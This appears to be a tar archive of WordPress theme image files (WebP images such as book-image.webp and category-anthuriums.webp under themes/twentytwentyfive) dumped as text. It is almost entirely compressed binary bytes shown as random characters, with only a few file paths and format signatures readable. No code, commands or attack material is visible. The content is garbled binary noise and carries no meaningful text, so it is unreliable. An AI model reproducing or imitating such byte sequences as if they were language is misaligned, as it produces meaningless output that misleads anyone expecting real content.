O:W?W}C#u|$Sb?XH刯+f棄й]&Ҫ]n(o$v.tt ?3wZI"1琳ݐ;cr#3oުmJ]`C.UڣvQ6APoL٫.g9.<7%Li5}?O+7I;<(&}Vִ 3bm3/#(|hat_ <"ǬXKww*e夶p2h皙9U hCyO`,$4~<£(f53q%3RuR}֊9f*e\e>i%d*8Kc?-0'r1fXOL ^fc(:,ک9DJ/ƒU򢍗&Y'mzy äm4F`c6&Hy]6ڵHd@gV̲|WmȠ>2no5v(0*qSSzqrH/B9$O'Kʠ YzvAgxE%V%;Ha克WG+B}S]¨Q#?| r@L|(ʉLDy|'ϧC'[c-5w8G-niaH/|T3n趷in^Ȁ5X||߷aA{n =ɴ{vTծˣBƍϞbLS%S`5y#;YgD6ŧ,'C:u ݧq ([~+ƤiDteGXe6$LɔG35}AQBnP/yuP}Kp:辸6z/ۭ@09D{RpυxTV2SSC"̯ US^"dŒ]icw9MI=-!y2و6!)5ʕBǤ`f]"W @t#y *4RteeBݍ@shi^fZ(Xwx^Ѡ긳{ԶSaM8ْu|F=|\١3sn^]5>H#R9L?lDڐF8Y{z;p"Q,37y$! x )BC$D=[&`TMrГu֋\ea)'W mZvZ8"{Oh:yBpLQr-3xi?PD/p> ð-rˊpTϳ|KzR9"r2F+ٴΝ*V+0N:]>t8se0a1N W@23rZ.c̘y+U)q^o;gE[T]wihI kHH 1oW's0lE-l1yIbWKdE ZWѦAD*Rʃf#q 91p;ʸ8*m5#dpgGa-YoZd 18MG@t.. ޱյHYd g8I}j,VOpJyIhCܓ+)mc,K(`Sճ]ް1g) m6=3ܞ6- ~56|>DK`%w3C{tiJwNЄO {C Sb=*Ƴ:_!TTUjg;INXvL Ǝ*H.$BlrDW7H6drвszIcAp[QG-BѕsGh,v6-B3ҷŒ)_#? @)㎚ p!Ѓ?Yj0!bAqgFph4Vykl>Kr(Qqؼ,|L?qL11idf*Â"V/-YW_}m1s=e9 QsY]1 9w_Epxg]~UcU),O̫ D^є($\cwqkI֚BnZjm$tbK_DAi"ۈK8Dp!E۔^)(*+>u? Ө"+m\T]"6a@U`ݹ˒oO-!'DEc}Ժburf˵QA6^˽gN^ic|_z΢.{]1o'kcyaC=EdҬ0#N6f>9 v&vLwuj@j*6Y⿼IriVH`G] ϹeHoݻMQ:[[Ozr 0ّkX߽]&Jg+>WD>ھSIӒp<diq9 @3rQ֛4X@Q}x*[/c"horMVGK 'WܻW;A*i|*LǽOn4Sdh I]$ ^$o^rĚzrWK u(`g0VX dOMx'78~BP(B1vep@Rg EQWǑTZ(1q p߲R B'}y8)fc}Ϗݼ\CB877Ƚ:Μ*qȊF$)T@ O(j1I˰C|V1ɔs:Nq3%sdӫ"#a\·lclE$kX4~] ~2!( r~gf8LF -+q7v,]LbWyLbA)N9B/*"sm(^…ciN)\|Y-W[?Q:2k&!ErTԎ&kP+ob4iж:#%F1 L/pfXAL?) _KG_ 6ȑ)("[ny)9a#9<[V,kjL9baRIͼ-,kT,[9,x4i*gz *hu48sC5%\Ӊ 6Q1sfJ~؀KZO[ u>֪[hW`Fl+Ħ2/}/\(0%vmB6ކu:7u0*;DL( l'xOrc⛊ [OR_m$.G wFʰC~_+V J+cF(+f3d_H&sxe`WXC[V֟Ka+@,j;ѤfwA::lqlLOnJ_ ȓhf7B4GTԆmbx W>!sN6Qzɱ I 2'GxCC:ГMFm\AaʳP+j܇ 1-atPLV%C,)"Ofky] xd_[T 2IڈpC,k`p 0U%ce`T n0Gck[wg04܅ȋٔ"GR(Ct)25ݴ N}5 y^z݆/2?@Zଠaw2[w[C`Q  |"<ȫ᳨8Ի^ \MWZTѳe |1 #8Zkv<:#-՜-PlGZ@C1:t4J;Â#Y0>PoqOX{.xT2ݷ Rh >{zJ0UpzjMxvžv|  &fMRȟUybzH˙4:7Hb 3UZ. O=IDCTV?C?E NpӉ? pExbsRfE{]ifyč-Y.ȞǺ/:@fƑ}exLxXz3 mYd?Ŝ=z"p|wX|h_̆+kX$y 񓖫uэ;xkzҐ}YE;rQc"!Pʧo q0^K]>Ām4f4d%xMy~4.=íqiB6/䶢k@D7OX$72S7ӏ_=:ӈn~A5كon`шlAU-Un\Tm< r}nzjW kn2Os%'^;5"RF^7cBG\$ujO-9WRzfWs}*CGKPlv JG /_=M7egNfLR"=UdٖX\]{:2⸃l!sj8|K'/6=\뉬J*nCi^*o)hXTLeQ]rSt?%J ÂI$ <ݬeSFި~ 7$G (55C6vK8ċc[k.j%8g(+n/4i+Q>Bu9@S=li1(-*VN+Z16j\_\V$K'nU+7hA~u^_ƆwOʼnȥ,ҟ<E#g$pxM}BUuc7wkpp8_Y,*^_Ezw;T0GˢjivtsbwZؓ$ݰ>$ t<֋c7GMI=ƚc2fsoXH1.@<>uQjxgmu&KhҫA-z5`%bDoI czsIw4 jT>&jq(7` FUJ,w\dj*v|'qe:|Rb.C9D@ʞau 3 FNNzGٶ5Z7YCc9#LHƻ ΋1!Yby"V ڤZǜ}}<>J tfZMj%˳)Ku_'P"3+2Sk /jQGz U%.#sc‚aI!|5- ka\sel+ѝϴ".i-p*e] 'O\bQvˆ95?R|kCpWzPq;@ gBaP8>\bk6J:†gpñB 3s+EPQdM 8(.尬b;P|Vbz 'L iyG9v v=h_\kd:0Z#Y%n_1<5ܣYaYm;K(PwЫhL?e5,,gG̼eWvi; /|eNn8_}aHS|G="$8h9v< zvcef_p0Wf.dK )H\Zm|j+6%k|yȊbǟx0.)C#8vP Z}%Fe.ڗ]W773vcpyھ*+[Ƃ,'sH  ?}II+vGe[FE:>\އ"օ6o  956,2NG=^*:q<.oeD `bp; Bj phM )_,hĺEBh=j'~&ۚmJk"v?p\O'Dj]g>crMקl= q^ Em_m4.S 2?Lm[;;Nzd<]_xnjޕM.밹h{.βd6%D>COi?FӪ]J;p3){ ǃ]ՑԢrTHz/̫ (݁d#)j%S29Rzw99o/{ `'EQFl] -w ׃@oJtQ Ku7RfwS'P9:T@'zz.qG05R|ͳK?|6"d3m-C ВLx{f=FձL4Ŧ#[ydz' d,]u$pc#8op$}ȉ@7Ө@IS8&yZ8 mϹ-= . OׯufaDC-~HY||8@nBn\ |ee(bR, *T] +}d(^,=vnSTp,xJ j^ pJ]\mDT@rRBP?͸>tYTh!&T.*3 Π<4o/)<)Tt zWb~Ao*V# 5F3p&=via7)<<!H ~er<$sܽy^ kQ o~+!% (4Q<=MCihRty9ycxA|qoQuy:-* K#L>䉡ؾU@7K{ri%|z 'kusHJ8 ^_ѺI~F8a֒q]S$ݓ>d؜ñy7dq)<LT$auq NGw[TQ\˓)agM2ܜ.́+?m m=*| |"^3)Dctj8ֲ1 xf{u; |\xc8+Ev_؋ooPTG4~t>5©eU3Dp#r7n}'O j[~Yo8\:=5Z FIh$.B/w+DD ,'"D %~im-o_f+ÿֳiD,(ps LcmTP`fQd(_<&Gib$lVeuQJ /u .ZbB 3v&Y!r̀75.:KV"'p@k#ЅUbQ0.* *)1@8p*dwpDv1č =&tyGRUMIkpiE_U~C3aj9RVhBu֨[614nfJ~uF̳j-2Uh`k lx7\ B&agPgcxjx; e֕DTع#rRĶ&ҪTrp䯬5ѾFcZ!{B8xt#*Y*nݞA4MLJ^} <\fc8:Ʌcg0xBQx].KyE ZZ :uVc0eo\D^M} >C.B'e3QcqKİ^J+tFc? *]_KQ*pepAhfHs KW%mLS ,XI෼\OOe: ,5$$Uױ}DUdf<|QGn$.m^Ui^ ?v\aDb0-/8h19U1$ՁI$f#Fm$<єwO̰}E,q\B]LU9g#pQFHoE.M㋴4C}{S:v-񖖣 a\,{Hy)/x{@Bqola,U'd@G 6DpS~Pll֟ʙxIl\jo|J$/_Ew#>c)sb; YWΟ$//|6h9Kc8DŽupa-ID\Nݓڲ@̎ő4nE]w`5Gp:̯>Uoxx[Ax(2Vv$Ÿ>OU#nZ}R(/%B&u (x2Q9ips;G()8 ~@/Ȏ%79ς4̴BԤρPm(mw %Gj+% Sm-Ϛ_^ qzB Z킴8#^aW;۳0+PGӗ0npDMĆSx{Rl '?l]NvZngLE= r,,=Gh!h/[(X__w+n;؆:XG\eHݕY5Smab′'Bպ0'>W_F[fe~W*zx>oV%zz_[^%Oz,e=J/;ީMptmӠۣI6ԈMEc8%,4jǫGR'mZ:޵rq.`%q$~na b"C)ei07XDz~7>}*U"v>!4BD~siz^9֕`Z4 =6÷ ^DI.-U\yh,9O\МlZAIa8b7iHqdBQ9&9I驀jfs D=ޠI ۺ탾^ g/2&c) &!^✕'3S9H[Dp:fr3ܙtԎd*:=f]bf8A~rfHM"e&IsJ Y|]} r bJDb=G_pqbUFv^/:\y#ng 6׏`_s89ՁO Et跻x>lL*&vmf9&LCA qo3ދ g WkCԓu2(4(I, t*f&#F)fskF~,=!O< &3h܂SGWI}W}SsjLn2f?T.`f҄ giGdFuȶjm{ަ;cv*АlY1l1/=5}Dm'ʨ_A"fofZ-n w5ө6EP5F=Hi}!9oꖫž6GaڸREH1+µR~nQ dyD5.Ś#=>Zz2? #1]8B>#[Z)Xb)-J @Mǹ:8%Hbzz㻀rU˘JeP@/O>YāXM'B]uc*:{>'GDZKZ}4v5 IQ {tDߪTSa>VH&Y%Ӌl=U/u0!SkO; +Ch<themes/twentytwentyfive/assets/images/book-image.webp000064400000050764152335264760017201 0ustar00RIFFQWEBPVP8X 9ALPH`Iiۺm۶m۶m۶mg۶m[EE$_qo+o?oudɫxO?xwNdWqQ_%[q,lpO1#q G/_=q4G]pOQV?GpG>_ q$GBp$ϖq|w/$8O<q/qE?EpQ_{M?Fprd2p _1R?ppG/_%Qu%QeqGApOő^?Y  o/8O<8O< '/{q8nOqqpO.plOűR?Y1G?4pO1C1H?Y2E?GGpGs_uQK?GupOQ EQ@?G︑Kp| #O8+/!nxP?Fq 8nϕdY/?r/L{q;8?'Kr#jpOn 7O1i&r#x_s# _8?J#Ykp4O17OQ+r#QY_ Kp#AApW+VP8 fN3*:>HK-) inP{~ͽrEeN0WQno;.TAv=9Oh|;qsozW_?}|v~}΋= 7 ?zNi8ÓT]ISW2AmUhO`ъ;VsXÖ0Z"; L3{i%O@ISϨ%`GFTPh"X),Q'k@<Έ O@TJYelJ4x S+eʀLe,#81xxcH)&`uѩ?gWi%O@IShHJqb1y,wj.lddfZ?'zJ4x S b& ColfcBOn-iV wb)*zJ4PK*|E*.V$3I*z?-J(2HJKJ(8M-(\N -(\M`>d\ehߚ j?bC&C.eڅ!kx=p;Ʌ 8=?x)KY{F(fGPeuipU  S-??̥P3[8RhR):xDOt*85|Vi6Dz; wHhmX/,!FOC* 0ˤ~({6uo [2-(mNm&;&X_>]v n)L1onf9&EzfݘP11g-vY]<6ۋ,=&lP,b끛^ ༨0o[&4^#A_*(yq\V3\W7bt*'q/t:Ա{EH-,Y*(юg,$%OWyr=gAi\E'-gtgһ.>+4$OYU1:Z`saASf|xS:y5g u50R2Uwd 84]/{lWQ /ee8XGXAJ:0dVj%x ,ϥ[Aۈ7p$ ~]D8y2Qۤ~IjՠBWP|Zs#݀ POe~)mև.ol d_bC+I:l?Xrނư^@a-fZέG/a#Z]=x6'vp$%yePLm4Kk(n>Bٲ8>@bTYu!%1{yFˣkHz5'8@Ds2h=xIl[/>dZD _l\sdpTHr2J+9(<]]X ex!ain]\#X}za (K?Htr{R@k()&}Zyx^ x\"& o#R'H##d 8@鰠4&cVbP4-ku0v-)d+CW/}_I=gX\fO藟)"ѦzY 7וL#UUr;NֺZhgt]_Lx.Ü;잊cgei7E6P'cRJSߜ~)$b{"Ű 1JL|S|*mp :L;l﬈$7{j2Yn*E*Ɩʞ+lɥ2pQJlln4*WpŰuM{εV(c |p>$_w~Z4|o$0WD)$28maZ(8oputpkld2U&ZA2MdF:vTx0-e﷽4y D R ͈Mv(ύ2. 61R`&tl9V -(-% tQR lS| ]c {.=DY·E6knھ NW]HS)&aIŊ/or+Xw+Sp~E|-t[nߪMz鑞흃62y%dDzalB}Rұ7V G_+DlFLBµבj\ަ &,ؿ| AH?1K!hY}X.`Ʋ[b/V?*S/ չI #s 2XEۢYEE;̒o$? G{!KS7^1FzZ7$1=ؘ[.A(,+>W-2 '8Gt=#9b}^ٻe)^s+ S{AZ]"hOix ]X,"EɬQ>?14)JAal/qҒ>ˡ׀L/] ,pوWP ӭǘ=MnM |΁/uPddi0KUf̬z?5c s&*yO|w7g+ 3lɜq蟻n]oU8e]TCvWsUx`NjѦ(K}]*d6#P4 NtP>lҞ"ufCQqrs! BWbax$3՜-[D&XZ̆st/f~MRE4$]xz`x0+>3^ 0!^+^+^+=.A`,2IS}R8uQLaIt'M B+_(S&2y Ț%#Z9UyVol|G{މcayy] 1GqI#xn"y&m3AQ.ɴ7tH+=bUhLH:q*p\Z:eU|we$ok1Kg[ɦ90.8y\NfZ0$8dxWy4(]dߩ휴i=9wy${xisX;Lɂ ฦ@DcQ⌡+ΜmAnukdXLX[r_r(Sٴu+fNʡSaaa3u<00KV#19z3*ba y~  IV*t &P'Kcbh$ɿěwHlW< A8탡3Z{*B2zx"un#dT\;Ul,Y:nrPyh"S׳X"S8s1xTȒ\Lz)]?&% <[W7p#Ii@`"eƤMB!#ܰGBۅ)]JQI.1&9Qiz l_t=D)Ѐ1kb7|85.hׇ(2td^=Aj gHDˆ^QwI Ex=V)Е*UM@c[ķU&E1_a uqReZD!{0ˀsq1ђC}oKC q{? uŦWh`:UZ6L|!/܆ Vi%)] 1<$m6²c f2ώ vhv}ɠ_$R0ssE0WjDy2'\O&W]gDi:x _NF J )TeDYA@He To7UApߦ_]|F2hmjV];| QZ]F$)wS:b&79]r! րg2:@"UNQƉ7dl}O\팼1F`l HzrEqw=|/phI5+|o *F ߩx.,Ȓ#4wP&W H"=@Vd{'*Jq}3睺7#K! 壻Pk\X 5kS&N]`accށjn|ʂ/??P$ФZMWjF^:e9)u߿ZJ!)L̅]Q%FPI:F^"Nmn^Ƹ>#)t@V'\5,N%?&Y?`e)MpsaiclKI]Lg,znLဳ)aw\UG!ib]};*,1};@\lS0qmQ)5(r|Ll{T}MlϿXg-sWyA ( ![r v$Mmʱٴ!G PH˂PqyǬA ;pAq5+[v㓀E{gߴ{6AceFESm[닓&$RE,F|Y\o 󊥙9Ve@3*#ӝߘĐ\*> bFf ՈC|zTnGi4/NF+))5Q3>Vb*6]NI;iB%[ێsc, KmO>UB'|sd/׽4xH|څ"xOA*FkZ禃@$YryNA*W7ު"iD6 Izp@뼋AF*j>[b@vIq|GƜp/P߭3rvn×.8.BkjA4\py[vv 5X&Z#jk"g)v:dev4ƤLAN ''>;ىQd+vҹP ~1 %p$gD .Qa"h2[29 Q ;M2КSG)a8`^'g0hݒ;J u:kizu~o ST!1gTn r!\QR'<; &WjE/7Կiǩ_zR;Kw.u<|0,J(j--" ~sĶN^Ln 5d^4FzTȁj-UI/;Nk{N'w^qMl-5σJe^-?&Xg_<]RtCid'u>`71'ӢIu|@F&:Dڃ;4xD\l7,DAz%HgdLˡLdwz@lcJ &!5h5C Zpۏ0!C ZEA"]ՓfԌTV-iksy AC?YcAeR8_ 2ja*v!@l)HlH`Ewq41o*Oȉ_W%p:t^ *6/g;jTvN$@hkhW./=>_f>kw!))3s%.eDZ.h67JT\:ŗb6zݺ>,m,)ֳ4fek;Vv "McA?hX!Q73:86K%7]ߙW&S\"/(R~B?GEQ2GyRAFmdQ:lA4&}|]Bݜ-#~{T]Tqʳ\QJ=ܲA~$efJCg\K عx]0-dH/f`LL{|Ȋ ]{JoBKE 6rҪ v pvXI*@FlE8$&3+in "L@ha'Ex@dj:V%(WѲbp4g x̪w9Z)cHw[EF]E-$u- *̆p16|jgIimW{CÁ#F9S(2M1C8P؟ӌ*/ v(MO2 B`*FQvq@ڀWALGDe lʞ XF/C=)yvGا,){6;ń+:)䟶2s`j>vG#v@BHA E@Sߗ&Q}xPt\9B&D5=tyjVKQJU v7Rb$TutFɩ5D =Y_b Pqsi&]&=\ǖD[{Q0<MDv BB%tt\dj ^gt - SZѻC^9~Fut0!g8|bu[adqk{efȦ-3wQ?1=9O@?\옞0K+b3ފ7:c sy{v%2Y◗E&,_CH@&|R?T[D4j^8GX)!{Ro%vg>_h]f<&L:úk+y⦣DH݈DLe1h(}@a9XgrSݨc(DHߘۘ+Q) rmvF),'!KBʘ0xWV%&G~0 >^-BAtË2lm S$$T4fUbaRW`P؅O4ALpNHm5`D0Na:E<Ӳk1 A0X_E<Pַv-b3er%}pFRj _ZK$GNE  8C=ru,(#Es!F`8cۇFײ D3nP@un_-9ÈTF+&4,Kt@ۋ4#! $%7j6od%|7=@Gl6ތtpfAY'2)fh=b$fG.{<ϐu8_SA[H /&8 4j|)m ^S0#3"%eI5 Ft\\N]JҢځP47EOvZB(CʔC>z%3C@;!Wo)Mo{\f] bؖ6[vt iRbUc dډ,jQUrIg5 (h.X~ܛc qzn9*(ρ Π!mL57I>5 =fp4߬aY7TQ0XhސRЉaۙ(s{adP' :EVᐞJѕzN-L;4NRv'*N^Cy9!R6 U} iɺ!FQg8bιq*0?0SnB$3a?(&=k~ $R֛ tGdDr~Ng,8{ۦ<ii c܅*—ͥbz̽c: o@. /=%њy1 (E ޖٹH1r"[1aV / 53s{.&bi>(_ 5c$|kHẕYv8ƺ-_?@FF]6 )+{Ld}06^7TWi7UjZ_Gqhnٰ.BpQl(z9X5ҏ_Ze1dB5"Ǒ+QO Q^YU4䱿kimZĝx^-q')>گt[#Idw_ڋsd+V+7V:2DK,#>?Z-tRm9kتE>^{%ޒR|r M׃k4`0Ї8#b┟&/ z)qt'I 7BQ E,iӢ_9UܼƫpHZcUTkEY>< {PQA(Kad0:Jsj})ڇsu$x8!Pf'J?p[mm-XWM@{6dU^hJxZ-ֶ#C;}jU!4@%4bʸIeD3rq=0`pGV@79 ;ne0 qT-y77adHe 96Yt5͊l~HZvÝi737ˀ$-QOhHn~'`X$Q {·ȿ"d}i@*mgaF i%XK6Nt kGfa?PZS|-U6/CY^9572pv[L$E17Kz uĆWOL\j~;6.? #n5[Ag+˃'\C-}_'ª{Pzn<9o19M9&[%5A54 >u,LN J9o{Gxo*-\#юiExG?B=s r\CU0x $qA^& guuT(usKxˆTc _1l]'*R`eiƢ>$\ҦK{T b_#2 M s"s{p^fYl"BTU~.2"I.1.f13P-^ϒY$X;/5ec%7R422:uqE2Up ]04Q 1.GoṢٚ]2T`iWlwMwW9L3JFfz5t%`>AQ8T"W۴`4 \=[j7?qcpl6<14b#<`ibhs F,pw:~@7-`;c2mj\&G( Êa- 6lOZ-)j{[Dxb`ֳqx[o$Zf  oseaM- o"򁳐G`F5dp3V>ǬWAiZyw0Xͅ-sIs/27Hx愍JyHA4hCg.gǴ!k20_M"'Ty1m~H]UfN@ YOnK=( jTx [} s\nv-Nr{7A@cțГgw?vd8 ?z|-[m|4HFޘ'X4r{?|waܖ2 " {ܐbUѽA9Nhz V'Xͫh"?$[4F2ǘ$z.f!lr^wLEERj_L.DP n\`fCv^Bw|$`k( \JagR\Z8tbn "TG72gI"ɿR+09.8a<%^pދicv4\8~5 Џ!_ME߲9!":"v g$mhjw^*Ӑ L&/'SxZSjSiv1)Sv29,D"0iћJLsO8gĩ?U2ze-HjW pNݱߏT05QNQT$y\n5qaSt8!07Pґ^'9ͭPSX~O4R\!$Hǿa^H$ !1ROX%)@BL]RzL6A2Bӣ,2ej~QTk؝ϙ! )Dj.5)Or'6y* 1gV*^i3đa~+qnYH)8:ffׂJm1G] A6^ X B`MbZt0(]!8bH C,#*8 d'ZԨKenFZFߌCO(L[B,z_V?M3i!p b$"VCp a~7Tt6P X1j%Zź!dlEd7CigGR;*=,ɐ- x9鏼553$q:“s㦄 D 3Li$w% M)TxQf*t#%$&<"z?.uW/JRaUGo=wL\ ;)(]:\x'kgi\CX@&K}5yB3"^2\S>#0`7bVL$CcvWZ?%2@ǻjM Wris(5<4J!$7_M6Io.ر"=zp#c7Tg)ӧbx7 Fq 3]&) mf鬚O%SĕP*,їpxM4xFzw~zgnR[OH_hNq_22xפM cDu^ hՀt _N*y+Ag^2q)N'X pڋ|'48.ul@Z`A5萠d?o;}8)WyuM_# u*aTRW$C1X,~;Wrx.&̕42ErTr!r_]`awwcG %Ƣj]eԍkW/߶-sQt x, Q '|YzR/!~ sDc~I/qIaN'=گ|TiPg4[ΊĮݚ0#>(9{]_h !e 3BGo-[쭉IPxX*Dld9aj÷o.e<[DTV7Դ( jO %+ĩMUwL  ?S#ԩ2mbd 8L„m-%^5.;ֳɤV+t;;rLS5 " K.+qh9LfEgAEP +Ү:|4[깇j*n kny>auEa#[p =s9P\z(|`2»RQ"SRsdrm?[#xg'aV <om)͉eB5h J]u+\Z?Wb3E [ {e$UpL<]TѲ$qMYЈnJ{cx9&I sU-жy`|uTV V^Msq4;R$!=s#PLP>@2themes/twentytwentyfive/assets/images/category-anthuriums.webp000064400000065520152335264760021175 0ustar00RIFFHkWEBPVP8X (VP8 j8*)%]n./y?ͧhO?o_=?P|M]^?yH~7#g??jB]#Uk+NA-??qx[}̟p}_ܟ_??O? _0Pg?_? ӹwp/ןxP#7' #ntf8㍤J 5ޯ8!݁l (FB_#VNJI#}OГ( s_dN? yF@/ c 8Y?F z=U"m;BTZ[oY tzo tjg~Pgz+wtf(,GNmr:IwU"zD|hnT:gG~矿7w7(`bτÉUuUG$/k ':zeC|-*_{{!,FX-( C"Wmem*.ňju]S{ش ?N&oMP 6 augQpjYd[@R^vTD1M )j09=\0&DIqp!;//;B tn}Ԯ "w }>"hQӫ>Mɣj(J'ozQ$$yky%="D7%cX `Fʏ1_V?\Q) 5~%7Vc Yg2b!SG whЁrz#AVPquBMlL F9/:Dj,y%\?I5WkkSf2ê1;1'+U+%1䏤K6i]_fI' |U+/jR ww_'Hȟ_~TMd/ŇWtLz `ٮٛ]SIzܞ G)܆K+"1MS§>>Y3Ĩ#]3.ދ˞)t K5_R~GIyQS(` X J_O.CD&-9%a fQe@lJLo:L[ôD{h;ơX{}ógҗw}ݝÔ+Ӿ8*Wв*[LksӰ`fsŭ<8ٍQ= PTx$DXy=a iКEk rMEBcJWΠۭ*SYωsӔsW=֚~^%]lxJ>Zj2HBBq2~5:9),?kwqnۼ[^i?BmLY$I#.EIHĒҹGc VOhf'"`Tu#RvN.Z5DO,JdE }&5DR蓽qGZ>p?t]۽ YdhC :Pkܮ7! A|EtR#wR-R;Xh*&k@Ta"OG@8W3)ʤjhڤ;2 DO+[XvRJFDLYQ?>)>njo'K((kĝ X-;-鴶:Q)mas9OTi&Yf {J`|)*pf;#N?~Zܡ2$Rnep5l>P~bTCvkO oxas1PVzQ!cն`$:?-ʼzrW\~ӆK6i42>?A e6L~fXPQ~Y^%]"鲧XE /"(#bBI ԝN6QMC Rolbkj/>\x_H |(2Bpfs2) UW"9MfڣK}xMDY_#igS艎=A%X},Q$%gTP O=5جRWyJCu񥶔WdPK"eM.7AtH2NAQ7-=$%'nI_Nu;y!erMNPRGź#y\6(*/^M7t/]F7w8tN(]t9qަ\BH c#E H?xQטK9e뛽`=o$AWM^il@ch=3iٗ?4zL4XʢτB:6~aXPӁ0]/~FFkp&EAyըRYյȸ^8βOítSĤ%PPa蜺 L^&AVlBar%Z fo/NQU'e^u1˱^BF ¸"TȔV_~f N`2;F}1?=ߔ % <`'smMp JP?w k hm'=(ɺ>-/*5[Yq{ iپ@]|)L"V'LO8movsȎF!M\]- ~LP(:0pld”^=@%)y+Qܲ;IBwwlW}ofk~8v x(E:!,y΄ )2^2pmS[|Xu{'oj.w?d60T@B,Z1J{!dJ6}^˳v/oԋa (KFd|FM.xɗo;g(2B_pԕT2l۟uqcMha_qJ„q}U`U,D"u_^d١<"1>0 6fڦ[Snl)ObB[P/D-}?i腿FTQ_{<>i0y%Y*3MG;-̽BR90Zh38!oإ~.ii17(J]'`~H;f& !دLU䩋nߟuScΰ6s3n'dev~gR juMj\M_3kPЇuJ #K4N+N1Q}a![^#!b/Mɘ<:}~}w&œ'J%‚ǼMՆ2̕.ڍ|%aT-Z>A CpP;WKxEn  &,,ڤTB.t uǜXLc(AUL}ml~ĶFЙo _wB$6WiM}<}S25]¿ qoOȧߙ4l8م~z1 ʐJ8(e:?zoE].aЗ|7&~ V Oyp9?C*[ |7wvT XcQrǹj8FC' )mV ;8e6MHXg6-"M7~G5}htuxD.MuH&s7B BFxG2 QHql[(gD,VPPϥ$L\^^ЁoU@bCӥš^sbaM6 [V8LG4Q N *yoBnh]aws52'Q1YҶ·(pVͰ }fO-Bv. B/j_Uw6or~;bԗwwCC2fwՕwz1F=p müZ9BNTUG[EkgGc㵵b{Nv Im`X]@/|K:ļ\~7ZUoȓOkW/)I`2P!'G[*-S;f3a\'1oooìb}DYZ 1mvwA-`=i[L8M;Ji+'vw=e.S3-I T|aƆ%d$?Z:>BM@{@P` ըG!(\v Ӫ˱V鏬@5R"Y{zl ?qKg "6FNʿN/|P32#%xknjpM,VwڸYApHznAm(kgU5{8YVR΍}n $|ra@RC%DDG] ҝ1$Ϧ *)9 5 a˻VʯMYZO_Jqf AyhdR|QE7`9T_v)$i56-8)H$c 4 H(}m}v2GorΨJ," %0֜D㽱R^){%_ ǼJ2[%nmz#;]S3~zB籂b^BWP+6d^ %{e@. מ_02Nr*Ȥ‹Gy=S -ڤVڭΟ a8Z"zLo/'eloCϏߞ)T A N_e&`D5HܿL[X1AR.9A5,)%Nָ&&X=YIdv}"m|PcǗGhr~Ҫ 4K,^1'PFvEH 38|5{nDΦpQ"Չh\c!wg-tp#qy = ݖPNuIKsiɮG(Z/ZfwPǦ8%Xk~JE=[[$L?1@DKICr ƠТowх0&ٱuLLzc )\FOF quF,mɹVSOMCL'ViT%r½«$ɾ 678'既!!lRKۅu\YlBgw /d\'H ]$Hh@ w2E1"Je]Ӗ N|"GMU(Q^SxRV[jf{ų9'-}U(^%eέ`p?I֯qw~6 d}CJk>Be'+(;$߅~j;d7*LCF69r#.gT M`q. KL^+X枷5⮱ u "3;Img띖-w5Zue! t [{@ J< $#͵QyKRW}O:]hY_OMTy2׃С^Og`/k0}$ZUMɱ\!gYPrx4;Rw:i ,~A ?#g]лHc`ɜ}^wAocGKV *~Ciufxs lE$`M<y/[y0RYkMQ~WN "hSwdm{ ip&jiTEW?15 U55n.#jL8..ɝ@G]|(,"[AJƺMfyKA >?_{&/ k%fR9ާp zN8Pfk#Ʈg 0"RdObJ{HuJS쑼DžW" Vƒkqn2YYq,\n'Y?gEn^`7$6P*^bзl:A?w4ge;?1H *cXQu{}Zl #)#ʘاm9%P8?;p/GOT1.L4_r71,WzUOjD -jd? Øb,0=ںUyA.H0$--j?Kn d4_jsݒe[f9򁣧y~%\0$R;?tjW]%8fG)QmvGS.O@nAz[\9=ez&V3lpzGPi8ȱ#epXi⟪88kJ5.;oʛ%\_:]ITy _Ci6o~2]!3u|~5{M?/c*c6u C@.\2_b34j:r~`_'^'逩?i!Oϋ|Jܼ GrP?7X]zA`-V|k6{f!{ fթ>7]bNރgR[&*Qz_dP<v=/tkB>; [5 S Hy(L:VDZP&M=Z@F e$z)қK:^ .J᫧܏SPl'jD):qwͲeҪqs$G5o?3{]Pwzxqp#*dNSr߄;ݱBفy.ҤlF8եv8Br#)^LbWe9 06F1 e)I6@f#&ARv􄤲`>%3Mv$aHޞN5l$^6?S +{Fn?oCR$K,4R^ЖQGc0xSc NW&ȫZdWx{/kRcId-ٴ6pfKĦG%CA 6a!Drz dADv+ j6,xp6-o3}#g U+2Q#yiW6? ṔFQXVb,g+7g>DGnJzHIfuVq$W`Mx8=гTՏRuw=$Ba~[*Y;J =KOaf@kGDgK A$;b=sI|@,1G]8Z1h`ZYw1l)%8`׋jNgZɑrxsTIҘfySoǿ%S_;/t0"/]PSݶ6ңbdp>;n[^$6l_g+V㩌򇏘Fu)S1JK CAn0LFy_XY}i쀚84;9w0Wø9QicuxxDZ0'qiD%;De#P_?4KLAwq`q"[mMгɠ{1=G|M]w@+X7/u8~_62=NZ(ΎKdf̺']f%{9UΪh43_yijjopEa}ʇ;[D<1}t)*%e^'~O\ s'xE l`NljqqĜVv+ԩ"#XY>dM3w|xz^ʄ@xĶ26Rsm;q%M F𓷫+Vb`ܪ0f "YL>((LSt`i.G2#hmwa}EFm y宩Jqz8 ^[$@of  c wP~~tiJocWKN`ک&^VvgAG%Yt:A,v\X8*B{tpҗ FXBw J&D Q.@8Fٜ+Q\'?I'SE=k i:RōB}Qygfkдl/|(oK1FWVIa:G^i\/zk$ٮ-!].ӊk"jm!>%dp%4)uCǂ|J%6gTg@%)NL_|[h &~ _*E2xr{-a\ݨǟ7"^i KW v3RN8\cOuc$:[s= i7XJҜfzZ%CpBE\Ek<%u#9!&(rټKwa.g-Bi6>{MZho[t\Pj6T1.dqRB>ygt #@r$Rq؃nmTFi{4h|&~j7z0baB)iL6VO ( u;8!|`#B4Žh40%|_U0+뫁=X JG'"qh-uXX З^zWk!uy3rḿwTS=r.VTg4%DaAyzIc,=}rm.]ma) jKrGaC XJ#zгdO^ԵFBX8J1v0q"'iJٖOYKa3@9S,pE.r hO*`\G%| FRo3~zA`[ p݉?{9.ۿ1 РՊ0ej^ft]o lKH£^J_4zKHgyc>=B{xch'bmr}4a5-i+ð`Cn5D.#ZLDZ ݠq޽9׬F?И62* qf>qV<NSduQrm 3AK#Ϙq{ 4E]x\?1Uw 陆rd ݟu*̀xa%J SAx7H>" K3O>X8L>wUvH`q ؾĶQXKoH!\Tа57Tƙ@*C7U,Ѐ]ILg#{r.LwJޒ1sWhwpkw`׾tw !W MGYD׏ٟr@as_UXxي _6V&U8çm RF)^ĸ5⼾-kj?͗B:*Cd#'ZC IR`Qk_M ET.Ka)W oaQ geu1di,έ-EN)8t}.fE!J'ө{u8ߍ .݊m$0{PAE(̊q/w/=hvWo 